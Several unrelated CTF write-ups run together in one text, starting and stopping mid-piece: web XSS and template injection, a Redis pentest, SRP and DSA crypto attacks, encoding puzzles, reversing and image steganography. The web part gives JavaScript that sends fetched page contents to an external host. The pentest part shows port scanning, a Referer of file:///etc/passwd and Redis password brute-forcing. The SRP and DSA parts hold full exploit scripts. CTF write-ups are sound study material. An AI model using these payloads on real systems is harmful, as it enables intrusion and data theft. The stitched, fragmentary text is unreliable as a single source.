A quick check: (You can grab the source code of /catch [here](https://gist.github.com/nazywam/5d164f1969491e2067f17b3c61329040))
```javascript<script type="text/javascript">window.open ('http://nazywam.xyz/catch?','_self',false)</script>```
Confirms it:

It's worth noticing, that this ip matches the ip of the service, so the admin can access the server locally.
However, we're not able to get the files using that, same-origin-policy prevents us from making a request for the same domain but using a different protocol like "file://"
It turns out, that the responses to error messages are vulnerable to a [template injection](http://blog.portswigger.net/2015/08/server-side-template-injection.html)
```[email protected](404)def not_found(e=None): message = "%s was not found on the server." % request.url template_string = template % message return render_template_string(template_string, title=title_404), 404```
We have almost complete control over request.url and can inject a template, like `{{ variable }}`
The problem is, `http://52.78.86.97:8080/somepagethatdoesntexist` returns nginx error pages instead of flask ones.
As it later turned out, flask used his error pages only for specified addresses, including 127.0.0.1 ;)
No problem! We use our xss to get the page as localhost:
```javascript<script>function hack(url, callback){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function(){ if (xmlhttp.readyState == 4){ window.open ('http://nazywam.xyz/catch?'+xmlhttp.responseText,'_self',false) } } xmlhttp.open("GET", url, true); xmlhttp.send();}
hack("/{{ FLAG }}") </script>```
Unfortunately, we can't acces FLAG directly but only [template globals](http://junxiandoc.readthedocs.io/en/latest/docs/python_flask/flask_template.html#global-variables-within-templates) and they don't have references to app class.
The breakthrough was finding the function `config.from_object("admin.app")`, with it, we can finally access the app and then the flag.
Because `config.from_object()` only updates `config`, we have to print the flag separatly, so the final payload is:
`{{ config.from_object('admin.app') }} {{ config.FLAG }}`

###Congratz, to the author(s), that was a great chall! If only we got it 4 minutes earlier ;) ### |
# pentest (298pt)
Solves: 1
This write-up was made per request of other players who were playing ASIS CTF.
Note: I solved this challenge before the hint was released. \o/
## Description
We got a suspicious [web service](http://ca12379f1163ff045b3ac80842d15bdb.gdn/) which does nothing at all. If you have time to test it, please help me to leak out all data from it. Thanks!
Hint: The server keeps your access log on submission.
## Solution
By searching around for a bit, `contact.php` had a very suspicious content.
```<h5>By clicking send button, you hereby agree that all your access information are allowed to be reviewed.<h4>
```
By analyzing the `contact.php`, there was a weird URL check in Referer header.
```POST /contact.php HTTP/1.1Host: ca12379f1163ff045b3ac80842d15bdb.gdnConnection: keep-aliveContent-Length: 109Pragma: no-cacheCache-Control: no-cacheOrigin: nullUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4,zh-CN;q=0.2,zh;q=0.2Referer: file:///etc/passwdCookie: __cfduid=d22559f51eaf8ee0cd770a1564dc3f8f81473527951
fname=name&address=http%3A%2F%2Flocalhost&email=root%40localhost&phone=phone+number&message=message&send=send
HTTP/1.1 200 OKDate: Sun, 11 Sep 2016 15:22:57 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingX-Content-Type-Options: nosniffServer: cloudflare-nginxCF-RAY: 2e0c1e2bbfde3a54-ICN
3aa(... skipped some tags ..)<div id="body">Invalid6param.0```
Then I changed the Referer to ```https://ctf.stypr.com/test.php``` and got an real IP address of the domain.
For further pentesting, I assumed that discovering real IP would be the best (cloudflare is a cdn service for websites, so it won't point out server's IP addresses.) way to work out, to inspect deeper parts of service.
```66.172.33.176 (-) [11/Sep/2016:12:31:48 +0900] "GET /test.php HTTP/1.1" 200 505 "-" 0.005```
From here, I used nmap to see if there are any vulnerable ports open.
```$ nmap -sT 66.172.33.176 -p1024-10240
Starting Nmap 7.01 ( https://nmap.org ) at 2016-09-11 12:41 JSTStats: 0:00:29 elapsed; 0 hosts completed (1 up), 1 undergoing Connect ScanConnect Scan Timing: About 46.79% done; ETC: 00:27 (0:00:33 remaining)Stats: 0:00:41 elapsed; 0 hosts completed (1 up), 1 undergoing Connect ScanConnect Scan Timing: About 70.48% done; ETC: 00:27 (0:00:17 remaining)Nmap scan report for ip-66-172-33-176.chunkhost.com (66.172.33.176)Host is up (0.11s latency).Not shown: 10157 closed portsPORT STATE SERVICE3702/tcp filtered unknown6226/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 54.48 seconds```
Then I connected to the 6226 port to check for available commands, and then realized that it was redis running behind.
```$ nc 66.172.33.176 6226HELP-ERR unknown command 'HELP'INFO-NOAUTH Authentication required.AUTH stypr-ERR invalid password```
There are a lot of redis brute force attacking tools available online, however, I made my own brute forcer since it's easy to make and tools like [enteletaor](https://github.com/cr0hn/enteletaor) didn't work out well.
I used the top [10000 password wordlist](https://github.com/cr0hn/enteletaor/blob/master/enteletaor_lib/resources/wordlist/10_million_password_list_top_10000.txt) and got the correct authentication with the password `crunch`.
Then I looked and googled for any possible redis vulnerability and found this good [resource](http://antirez.com/news/96).
Now the only left part to find is to look for the correct username.
Since that the website was made by `acid` (as seen in footer of the website), I assumed the username is `acid` and wrote an exploit for the challenge.
Please check [exploit.py](exploit.py) to view the sourcecode.
```$ python exploit.pyPassword: crunchOK OK OK OK OK ASIS{55ab63e61cac968dd1da217dab2d86b8} Connection to 66.172.33.176 closed.```
## Flag
`ASIS{55ab63e61cac968dd1da217dab2d86b8}` |
Rotated - Crypto - 20points
hint : They went and ROTated the flag by 5 and then ROTated it by 8! The scoundrels! Anyway once they were done this was all that was left VprPGS{jnvg_bar_cyhf_1_vf_3?}
Rot13..
Just paste the "encoded" flag into http://www.rot13.com/
Flag: IceCTF{wait_one_plus_1_is_3?}
|
Description: Well I just loaded, and this is crazy, but here's my address, 172.31.0.10/artisinal_assembly_0331fb4526b5ffee34f6ab66899bac0bRunning objdump on the binary showed minimal obfuscation, as well as a `main` function that seemed to do nothing more than call a bunch of functions: 0000000000400506 <main>: 400506: 55 push %rbp 400507: 48 89 e5 mov %rsp,%rbp 40050a: b8 00 00 00 00 mov $0x0,%eax 40050f: e8 63 01 00 00 callq 400677 <initialize_dx> 400514: b8 00 00 00 00 mov $0x0,%eax 400519: e8 61 01 00 00 callq 40067f <import_input> 40051e: b8 00 00 00 00 mov $0x0,%eax 400523: e8 6c 01 00 00 callq 400694 <a_good_start> 400528: b8 00 00 00 00 mov $0x0,%eax 40052d: e8 31 01 00 00 callq 400663 <word_realignment> 400532: b8 00 00 00 00 mov $0x0,%eax 400537: e8 71 00 00 00 callq 4005ad <source_cx> 40053c: b8 00 00 00 00 mov $0x0,%eax 400541: e8 5f 01 00 00 callq 4006a5 <todo_unit_tests> 400546: b8 00 00 00 00 mov $0x0,%eax 40054b: e8 4d 01 00 00 callq 40069d <largerify> 400550: b8 00 00 00 00 mov $0x0,%eax 400555: e8 33 01 00 00 callq 40068d <timing_offset> 40055a: b8 00 00 00 00 mov $0x0,%eax 40055f: e8 5f 00 00 00 callq 4005c3 <finalize_xc> 400564: b8 00 00 00 00 mov $0x0,%eax 400569: e8 4d 00 00 00 callq 4005bb <almost_there> 40056e: b8 00 00 00 00 mov $0x0,%eax 400573: e8 61 00 00 00 callq 4005d9 <todo_reexamine> 400578: b8 00 00 00 00 mov $0x0,%eax 40057d: e8 79 00 00 00 callq 4005fb <reticulate_splines> 400582: b8 00 00 00 00 mov $0x0,%eax 400587: e8 42 00 00 00 callq 4005ce <timing_loop> 40058c: b8 00 00 00 00 mov $0x0,%eax 400591: e8 65 00 00 00 callq 4005fb <reticulate_splines> 400596: b8 00 00 00 00 mov $0x0,%eax 40059b: e8 3f 00 00 00 callq 4005df <export_results> 4005a0: 5d pop %rbp 4005a1: c3 retqIgnoring `mov %0x0,%eax`, we notice that function calls appear out of order from the function definitions, as well as `important_initialization`, which wasn't called at all: 00000000004005a2 <important_initialization>: 00000000004005ad <source_cx>: 00000000004005bb <almost_there>: 00000000004005c3 <finalize_xc>: 00000000004005ce <timing_loop>: 00000000004005d9 <todo_reexamine>: 00000000004005df <export_results>: 00000000004005fb <reticulate_splines>: 0000000000400663 <word_realignment>: 0000000000400677 <initialize_dx>: 000000000040067f <import_input>: 000000000040068d <timing_offset>: 0000000000400694 <a_good_start>: 000000000040069d <largerify>: 00000000004006a5 <todo_unit_tests>:Stepping through the instructions reveals nothing, as the program just builds the string "The answer is 42" and prints it.Initially we thought that execution order was important, and that maybe we needed to call all the functions in the order defined in the binary, but it didn't seem like there was enough code, nor available static strings, to produce anythinge else. Additionally, the NOPs spread through the program strongly suggested that the function offsets were important.By taking the least significant byte of each instruction argument in `main` we get: 89 63 61 6c 31 71 5f 4d 33 5f 4d 61 79 42 65 3fwhich can be converted back from hex to get: $ echo -n '89 63 61 6c 31 71 5f 4d 33 5f 4d 61 79 42 65 3f' | xxd -r cal1q_M3_MayBe?Answer: cal1q_M3_MayBe? |
## Srpp (Crypto, 231p)
###ENG[PL](#pl-version)
We are given quite complicated file, but after simplification, the only important part is this:
```pythonparams = getParams(nbit)N, g, k = paramsemail = '[email protected]'client.send('params = (N, g, k) = ' + str(params) + '\n')salt = urandom(32)N, g, _ = paramsx = Hash(salt, email, password)verifier = pow(g, x, N)
client.send('Send the email address and the public random positive value A seperated by "," as "email, A": ' + '\n')ans = client.recv(_bufsize).strip()print ansemail, A = ans.split(',')A = int(A)assert (A != 0 and A != N), client.send('Are you kidding me?! :P' + '\n')assert email == '[email protected]', client.send('You should login as [email protected]' + '\n')b = getRandomRange(1, N)B = (k * verifier + pow(g, b, N)) % N
client.send('(salt, public_ephemeral) = (%s, %d) \n' % (salt.encode('base64')[:-1], B))
u = Hash(A, B)
client.send('Send the session key: ' + '\n')K_client = client.recv(_bufsize).strip()assert K_client.isdigit(), client.send('Please send a valid positive integer as session key.' + '\n')K_client = int(K_client)
S_s = pow(A * pow(verifier, u, N), b, N)print 'S_s', S_sK_server = Hash(S_s)print 'K_server', K_server
client.send('Send a POC of session key: ' + '\n')M_client = client.recv(_bufsize).strip()
assert M_client.isdigit(), client.send('Please send valid positive integer as POC.' + '\n')M_client = int(M_client)
assert (K_server == K_client), client.send('The session key is not correct!' + '\n')assert (M_client == Hash(Hash(N) ^ Hash(g), Hash(email), salt, A, B, K_client)), client.send('The POC is not correct!' + '\n')
M_server = Hash(A, M_client, K_server) # TODO: check server POC in clinet side
client.send('Great, you got the flag: ' + flag + '\n')client.close()```
This looks complicated, and hard to break, but let's look again. There are basically two checks we have to pass:
```pythonassert (K_server == K_client), client.send('The session key is not correct!' + '\n')assert (M_client == Hash(Hash(N) ^ Hash(g), Hash(email), salt, A, B, K_client)), client.send('The POC is not correct!' + '\n')```
And the second one is no-issue (because every variable used in assert is given to us by challenge!). So we only have to calculate `K_client`.How are we going to achieve this? Well this looks impossible - algorithm here is almost bulletproof. Almost - except one small scar...
```pythonS_s = pow(A * pow(verifier, u, N), b, N)```
A here is controlled by us. What if we could send A=0? Recovering `S_s` would be trivial (`0*anything == 0`). Alternatively we could send A=N. Unfortunatelly, challenge authors have thought about it:
```pythonassert (A != 0 and A != N), client.send('Are you kidding me?! :P' + '\n')```
But wait, what if we could send A=2N?
Well, this wasn't thought about, and this is how we solved this challenge.
The only nontrivial part is this:
```pythonA = 2*NK_client = 43388321209941149759420236104888244958223766953174235657296806338137402595305 # hardcoded K_client assuming that S_s = 0s.send(email + ', ' + str(A) + '\n')s.send(str(K_client) + '\n')```
The rest is just basic mathematical operations on numbers given to us by challenge:
```pythondef proof_of_work(s): data = recvuntil(s, ["Enter X:"]) x_suffix, hash_prefix = re.findall("X \+ \"(.*)\"\)\.hexdigest\(\) = \"(.*)\.\.\.\"", data)[0] len = int(re.findall("\|X\| = (.*)", data)[0]) print(data) print(x_suffix, hash_prefix, len) for x in itertools.product(string.ascii_letters + string.digits, repeat=len): c = "".join(list(x)) h = hashlib.sha512(c + x_suffix).hexdigest() if h.startswith(hash_prefix): return c
print s.recv(9999)
proof = proof_of_work(s)print proofs.send(proof)
kot = recvuntil(s, ["public random"])print kot
email = '[email protected]'ls = kot.split('\n')for l in ls: if 'params' in l: data = l[21:] N, g, k = eval(data) print N, g, k
A = 2*NK_client = 43388321209941149759420236104888244958223766953174235657296806338137402595305s.send(email + ', ' + str(A) + '\n')s.send(str(K_client) + '\n')
# almost done, just need to calculate POC
kot = recvuntil(s, ['session key'])print kotls = kot.split('\n')for l in ls: if 'salt' in l: data = l[28:] salt, B = re.findall("\((.*),(.*)\)", data)[0] salt = salt.decode('base64') B = B.strip() print salt, B
poc = Hash(Hash(N) ^ Hash(g), Hash(email), salt, A, B, K_client)
print pocs.send(str(poc))
print s.recv(999)```
And that's it.
###PL version
Dostajemy całkiem skomplikowany plik, ale po uproszczeniu, jedyna skomplikowana część to to:
```pythonparams = getParams(nbit)N, g, k = paramsemail = '[email protected]'client.send('params = (N, g, k) = ' + str(params) + '\n')salt = urandom(32)N, g, _ = paramsx = Hash(salt, email, password)verifier = pow(g, x, N)
client.send('Send the email address and the public random positive value A seperated by "," as "email, A": ' + '\n')ans = client.recv(_bufsize).strip()print ansemail, A = ans.split(',')A = int(A)assert (A != 0 and A != N), client.send('Are you kidding me?! :P' + '\n')assert email == '[email protected]', client.send('You should login as [email protected]' + '\n')b = getRandomRange(1, N)B = (k * verifier + pow(g, b, N)) % N
client.send('(salt, public_ephemeral) = (%s, %d) \n' % (salt.encode('base64')[:-1], B))
u = Hash(A, B)
client.send('Send the session key: ' + '\n')K_client = client.recv(_bufsize).strip()assert K_client.isdigit(), client.send('Please send a valid positive integer as session key.' + '\n')K_client = int(K_client)
S_s = pow(A * pow(verifier, u, N), b, N)print 'S_s', S_sK_server = Hash(S_s)print 'K_server', K_server
client.send('Send a POC of session key: ' + '\n')M_client = client.recv(_bufsize).strip()
assert M_client.isdigit(), client.send('Please send valid positive integer as POC.' + '\n')M_client = int(M_client)
assert (K_server == K_client), client.send('The session key is not correct!' + '\n')assert (M_client == Hash(Hash(N) ^ Hash(g), Hash(email), salt, A, B, K_client)), client.send('The POC is not correct!' + '\n')
M_server = Hash(A, M_client, K_server) # TODO: check server POC in clinet side
client.send('Great, you got the flag: ' + flag + '\n')client.close()```
Wygląda na skomplikowane i trudne do złamania. Ale w sumie, są tylko dwa testy które musimy przejść:
```pythonassert (K_server == K_client), client.send('The session key is not correct!' + '\n')assert (M_client == Hash(Hash(N) ^ Hash(g), Hash(email), salt, A, B, K_client)), client.send('The POC is not correct!' + '\n')```
I drugi z nich to żaden problem (bo każda zmienna użyta w assercie jest wysyłana do nas przez serwer zadania) - więc musimy tylko obliczyć `K_client`.Jak zamierzamy to zrobić? Cóż, wygląda to na niemożliwe - algorytm jest prawie że kuloodporny. Prawie że - ma jeden drobny problem...
```pythonS_s = pow(A * pow(verifier, u, N), b, N)```
A tutaj jest kontrolowane przez nas. Co jeśli wysłalibyśmy A=0? Odzyskanie `S_s` byłoby trywialne (`0*cokolwiek = 0`). Albo moglibyśmy wysłać A=N. Niestety, twórcy zadania pomyśleli o tym:
```pythonassert (A != 0 and A != N), client.send('Are you kidding me?! :P' + '\n')```
Hmm, ale co jeśli wyślemy A=2N?
Cóż, nikt o tym widać nie pomyślał, i w ten sposób rozwiązaliśmy to zadanie.
Jedyna nietrywialna część naszego kodu to to:
```pythonA = 2*NK_client = 43388321209941149759420236104888244958223766953174235657296806338137402595305 # hardcoded K_client assuming that S_s = 0s.send(email + ', ' + str(A) + '\n')s.send(str(K_client) + '\n')```
Reszta to podstawowe operacje matematyczne na liczbach które dostajemy od zadania:
```pythondef proof_of_work(s): data = recvuntil(s, ["Enter X:"]) x_suffix, hash_prefix = re.findall("X \+ \"(.*)\"\)\.hexdigest\(\) = \"(.*)\.\.\.\"", data)[0] len = int(re.findall("\|X\| = (.*)", data)[0]) print(data) print(x_suffix, hash_prefix, len) for x in itertools.product(string.ascii_letters + string.digits, repeat=len): c = "".join(list(x)) h = hashlib.sha512(c + x_suffix).hexdigest() if h.startswith(hash_prefix): return c
print s.recv(9999)
proof = proof_of_work(s)print proofs.send(proof)
kot = recvuntil(s, ["public random"])print kot
email = '[email protected]'ls = kot.split('\n')for l in ls: if 'params' in l: data = l[21:] N, g, k = eval(data) print N, g, k
A = 2*NK_client = 43388321209941149759420236104888244958223766953174235657296806338137402595305s.send(email + ', ' + str(A) + '\n')s.send(str(K_client) + '\n')
# almost done, just need to calculate POC
kot = recvuntil(s, ['session key'])print kotls = kot.split('\n')for l in ls: if 'salt' in l: data = l[28:] salt, B = re.findall("\((.*),(.*)\)", data)[0] salt = salt.decode('base64') B = B.strip() print salt, B
poc = Hash(Hash(N) ^ Hash(g), Hash(email), salt, A, B, K_client)
print pocs.send(str(poc))
print s.recv(999)```
I to w sumie tyle, wystarczyło to do zdobycia flagi. |
## Dsa (Crypto, 333p)
###ENG[PL](#pl-version)
We are given following python code - it is supposed to sign messages:```python#!/usr/bin/python
from hashlib import *from Crypto.Util.number import *from gmpy import *import os
def param_gen(): q = getPrime(1024) while True: t = 2*getRandomRange(1, 2**256) p = t*q + 1 if is_prime(p): break while True: h = getRandomRange(1, p-1) g = pow(h, (p-1)/q, p) if g != 1: break return (p, q, g)
def key_gen(params): p, q, g = params x = getRandomRange(1, q) y = pow(g, x, p) pubkey, privkey = y, x return pubkey, privkey
def sign(msg, privkey, params): p, q, g = params while True: k = getRandomRange(1, 1024) * pow(pubkey, privkey, p) % q r = pow(g, k, p) % q s = invert(k, q) * ( int(sha512(msg).hexdigest(), 16) + privkey * r) % q if r*s != 0 : break return (int(r), int(s))
def verify(msg, signature, pubkey, params): p, q, g = params r, s = signature if (0 < r < q) and (0 < s < q) : w = invert(s, q) u1 = (int(sha512(msg).hexdigest(), 16) * w) % q u2 = (r * w) % q v = ((pow(g, u1, p) * pow(pubkey, u2, p)) % p) % q if v == r: return True return False
params = param_gen()p, q, g = paramsprint paramspubkey, privkey = key_gen(params)
for i in range(0, 40): msg = 'ASIS{' + os.urandom(16).encode('hex') + '}' signature = sign(msg, privkey, params) r, s = signature print str((msg, r, s))
```
This challenge asks us to recover private key (x) given only a handful (around 40) signatures, public key, and public parameters given (attached to this solution in github).
After a while, we find a vulnerability in this challenge - ```pythonk = getRandomRange(1, 1024) * pow(pubkey, privkey, p) % q```
This is obviously insecure, as only 1024 ks can possibly be generated. If only we could recover k, this challenge would be trivial - given k we can calculate privkey from linear equation:
```pythons = invert(k, q) * ( int(sha512(msg).hexdigest(), 16) + privkey * r) % q<=>s * k - int(sha512(msg).hexdigest(), 16) * invert(r, q) % q = privkey```
But we don't know k... yet.
After another while, we noticed that if we could find two messages encrypted with the same k, challenge would be easy again. We could solve system of linear equations:
```s = invert(k, q) * ( int(sha512(msg0).hexdigest(), 16) + privkey * r) % qs = invert(k, q) * ( int(sha512(msg1).hexdigest(), 16) + privkey * r) % q```
...where k and privkey are unknowns. But again, this wasn't the case in this challenge.
And finally, when we began to fall into the pit od despair, we noticed that we could create another system of linear equations. Because k = (1..1024) * MAGIC (where `MAGIC = pow(publickey, privkey)`, but it's not important), we can write above equations as:
```s = invert(k1 * MAGIC, q) * (int(sha512(msg0).hexdigest(), 16) + privkey * r) % qs = invert(k2 * MAGIC, q) * (int(sha512(msg1).hexdigest(), 16) + privkey * r) % q```
In more mathematical terms, we can solve this system of equations as follows:
```s1 = (c1 + priv*r1) / (k1*magic)s2 = (c2 + priv*r2) / (k2*magic)
1 = (c1 + priv*r1) / (k1*magic*s1)1 = (c2 + priv*r2) / (k2*magic*s2)
(c1 + priv*r1) / (k1*magic*s1) = (c2 + priv*r2) / (k2*magic*s2)(c1 + priv*r1) * (k2*magic*s2) = (c2 + priv*r2) * (k1*magic*s1)c1*k2*magic*s2 + priv*r1*k2*magic*s2 = c2*k1*magic*s1 + priv*r2*k1*magic*s1c1*k2*s2 + priv*r1*k2*s2 = c2*k1*s1 + priv*r2*k1*s1priv*r1*k2*s2 - priv*r2*k1*s1 = c2*k1*s1 - c1*k2*s2 priv*(r1*k2*s2 - r2*k1*s1) = c2*k1*s1 - c1*k2*s2 priv = (c2*k1*s1 - c1*k2*s2) / (r1*k2*s2 - r2*k1*s1)```
Great, we have private key! But we have to bruteforce 1024 possible values of k1 and k2. It's easy enough in python:
```pythonfrom hashlib import *from Crypto.Util.number import *from gmpy import *import os
def hash(msg): return int(sha512(msg).hexdigest(), 16)
def solve_for(params, set1, set2): p, q, g = params msg1, r1, s1 = set1 msg2, r2, s2 = set2 c1, c2 = hash(msg1), hash(msg2) for k1 in range(1, 1024): print k1 for k2 in range(1, 1024): priv = (c2*k1*s1 - c1*k2*s2) * invert(r1*k2*s2 - r2*k1*s1, q) % q if pubkey == pow(g, priv, p): print priv params = (19990043472646209601994864878783430356973105946195950979159251182377121897576105462833887676561348770957108482823143337701724893247634876231133001112659622843245186144815694000013210989382541478073551247763586093331215996260234193847013210807939190828438263706901950228866893621933887960930392778176297205331569773161563794018138992335091883899396920586572927792555042350138728812073331L, 91629484598379105033512409529628860433949558415030791938154302542936417405614272511539966765257644706180090102931421315331051281240103609205686784098900471134711603588304765157414857991689054932897002635007537146809343047302801243835776634361209432398032301656027511721047704054332653738042312201931970395721L, 13622145302845273763875935516952425125176393702394844695432724066597834898277677169908234619701079219174550050531086255052810547971127992364106395259623997686454799745423099095097056224348731737512112568608406081844751809559052204755863089238863185755017905098158596830866362329243334855589147537151782745634416243769180780246626300677625340613515232605024658651528787608437872606367959L)set1 = ('ASIS{f178fcdecf80695744078436c8443d21}', 90237121958952251064976624492762150213417521896687572941345633764310618911601030617031373795520024583293535375710106225552196376797438589929204291257545448726331743603280815369427093966770848920593554708454565838054224752549404158493278464435213107237527453340811242850765181020853492694252650516970176641788L, 45699965566033911695982803604354032305058506238185457115666900773211243249439993822400900118887663777494151014067272471514622506941212402877792085312967213090334714190020080393819021065260516916603206309212756987461405393121419856054170230373811099272880018713486783939408418428725471847346917597357388173871L)set2 = ('ASIS{13d82a52a86b3f60d1d5d0a9a8fbd38c}', 82549501691566010240713957921730895287132128726058380260123211081436703044836270709304732846086147549660502736557189123678902405383474467404416541210982435469292602012427497998459504126706153698217704534579606635614323510632001857553260216879546038347723055837869594047336385462982125121614977106061534077159L, 14100015776662279808055950447194278668824709578034279558537621662053558677298084425976090376958899238099311275299915689425374231782256233762239739696534102757257328540054634833325260578944419955606514868448883176935887227050496260234118031035188783965371809668020726016057511098782430965590465392354859239207L)pubkey = 5120206348411789470161536127663499609309512038887109068976130122757582186109731229884381538683899917243667766639035225751229538595906667027298668257572271684995053081914448593696545954848592131805237134557157103971058735552127997038702518466039596176245969237004179261427946425137677159565508198606851760199742107673019486271187331752618149416170682584515782866631954825392784384052948
solve_for(params, set1, set2)```
And we finally get our flag: ASIS{1e58445616cd5178632ae15bef51c4a3}
###PL version
to be done? |
All steps to get the flag:ciphertext (octal) ---> (text == brainfuck) ---> (base32 decoded) ---> (base64 decoded) ---> (ROT13) ---> flag#WhiteHat{c706c97220ae8d0cc4d09af735dd9b2ba6e09081} |
<span>The SecurityFest 2016 contained a great CTF with a wide range of challenges. This is a short writeup for how to solve the challenge SHAlien.</span> |
Author: @axi0mXInformation given: Cooking the files reduces their nutritious value. Consume your files raw.We get multiple PNG files which look like noise. Looking at pixels, the red, green, and blue value for all pixels is equal. We can get the data by converting it to a BMP file and removing the 54 byte header.(after unarchiving with tar this works on a Mac)$ mkdir Converted$ for i in *.png; do sips -s format bmp $i --out Converted/$i.bmp;tail -c +55 Converted/$i.bmp > Converted/$i.raw;xxd -p -c 3 Converted/$i.raw | cut -b 1-2 | xxd -r -p > Converted/$i.bytes;done$ cd Converted$ rm *.bmp$ rm *.rawWe are left with 40 files with data. There are pairs of files that are mostly similar, but have some differences. We can find them by using the strings command and searching for long strings that are present in exactly 2 files.$ strings -n 12 *$ grep <string found> *Once we identify a pair, create a directory and move the 2 files there.pair1:043d09e121a1d2d77aaa098487ddf62d.png.bytes153ba8b36ae16e23bc2e5f9eb2a6a8ac.png.bytespair2:041ed9c9f84d7a0b4496db8a4c826f10.png.bytesa57c72b0f8b9bbecdcfd5432a4d2eb09.png.bytespair3:bd84baf5910e59c323379e1b33e36ce2.png.bytesd167ebbed97915d57e25e1358db26623.png.bytespair4:7cf7909d1260d6f84eab3009fe06daad.png.bytesc7931c279ce7d5f8cbd38c6069464802.png.bytespair5:815aadc10f8d41c013fe5673629b6642.png.bytes96dcd0b28b851c67b88f137fc99d1138.png.bytespair6:1ddb2cc40e3c7bfb63373a16b764454b.png.bytesa88b4bb3c225ed20440ba6bf633ab169.png.bytespair7:2f7261b0dbcfec78455fb50ed13dead6.png.bytese071dd8812e5a4256f75d47ad2dfeb39.png.bytespair8:6ef798f8efac382a1a571429635a25d1.png.bytesb703cc3df27965de11879b1bf5a4ce69.png.bytespair9:673d2143b07f6d73e924cfdce21e7e61.png.bytesbe4e230f1f4f5243ab22fd8d6ab30754.png.bytespair10:719e05cb25816db1393c64c472331de1.png.bytesb27dc3ed73a3bdf9cac3d9d9932912e6.png.bytespair11:97a3c832cf761ed406807e09d7c5758c.png.bytesc149489a34faba509f344c8b3d352aba.png.bytespair12:0a29ad2d1aace7ddfda6623ed14b3cfc.png.bytesc1c12dd4337839c56af7a7eab713cffe.png.bytespair13:31120e8287762360b478fae1caa0cf85.png.bytes6e43f9630245c1137c2c6581c68315a0.png.bytespair14:99af438b2bbcbbcf6faa8a6954a311fb.png.bytese51b9182f54ed286a13bc3b422698edb.png.bytespair15:3dd036d19ddacac4cd521faaabd6e5f4.png.bytes4738e11f93c0bbe6bb0508a3358dcc6a.png.bytespair16:35f36d10e91fb913a5e7c9cf7c6bf05b.png.bytes4cc1be4ed28baf7563a7bb5cfe7afe07.png.bytespair17:0dbca0ab91aa52a82c356cf35fd12668.png.bytes2888e1b8abae9a1e952db101f0c86ca1.png.bytespair18:284f6b43f1da540bdeb4f349a086fe56.png.bytes8785304561ecf81141fbdef7a914fb81.png.bytespair19:5598f8c115335d71b65075aaf8c16ba5.png.bytes580385af1a9cceba19ab9153521affd0.png.bytespair20:563de7a878f2205af9acef7c86556cf4.png.bytes92c899bed7be8af5cb79663fd32fae11.png.bytesOnce we know which images are paired, we can use convert on Kali to XOR the images together:$ convert 043d09e121a1d2d77aaa098487ddf62d.png 153ba8b36ae16e23bc2e5f9eb2a6a8ac.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" pair1.png$ convert 041ed9c9f84d7a0b4496db8a4c826f10.png a57c72b0f8b9bbecdcfd5432a4d2eb09.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" pair2.png$ convert bd84baf5910e59c323379e1b33e36ce2.png d167ebbed97915d57e25e1358db26623.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" pair3.png$ convert 7cf7909d1260d6f84eab3009fe06daad.png c7931c279ce7d5f8cbd38c6069464802.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" pair4.png$ convert 815aadc10f8d41c013fe5673629b6642.png 96dcd0b28b851c67b88f137fc99d1138.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" pair5.png$ convert 1ddb2cc40e3c7bfb63373a16b764454b.png a88b4bb3c225ed20440ba6bf633ab169.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" pair6.png$ convert 2f7261b0dbcfec78455fb50ed13dead6.png e071dd8812e5a4256f75d47ad2dfeb39.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" pair7.png$ convert 6ef798f8efac382a1a571429635a25d1.png b703cc3df27965de11879b1bf5a4ce69.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" pair8.png$ convert 673d2143b07f6d73e924cfdce21e7e61.png be4e230f1f4f5243ab22fd8d6ab30754.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" pair9.png$ convert 719e05cb25816db1393c64c472331de1.png b27dc3ed73a3bdf9cac3d9d9932912e6.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" pair10.png$ convert 97a3c832cf761ed406807e09d7c5758c.png c149489a34faba509f344c8b3d352aba.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" pair11.png$ convert 0a29ad2d1aace7ddfda6623ed14b3cfc.png c1c12dd4337839c56af7a7eab713cffe.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" pair12.png$ convert 31120e8287762360b478fae1caa0cf85.png 6e43f9630245c1137c2c6581c68315a0.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" pair13.png$ convert 99af438b2bbcbbcf6faa8a6954a311fb.png e51b9182f54ed286a13bc3b422698edb.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" pair14.png$ convert 3dd036d19ddacac4cd521faaabd6e5f4.png 4738e11f93c0bbe6bb0508a3358dcc6a.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" pair15.png$ convert 35f36d10e91fb913a5e7c9cf7c6bf05b.png 4cc1be4ed28baf7563a7bb5cfe7afe07.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" pair16.png$ convert 0dbca0ab91aa52a82c356cf35fd12668.png 2888e1b8abae9a1e952db101f0c86ca1.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" pair17.png$ convert 284f6b43f1da540bdeb4f349a086fe56.png 8785304561ecf81141fbdef7a914fb81.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" pair18.png$ convert 5598f8c115335d71b65075aaf8c16ba5.png 580385af1a9cceba19ab9153521affd0.png -fx 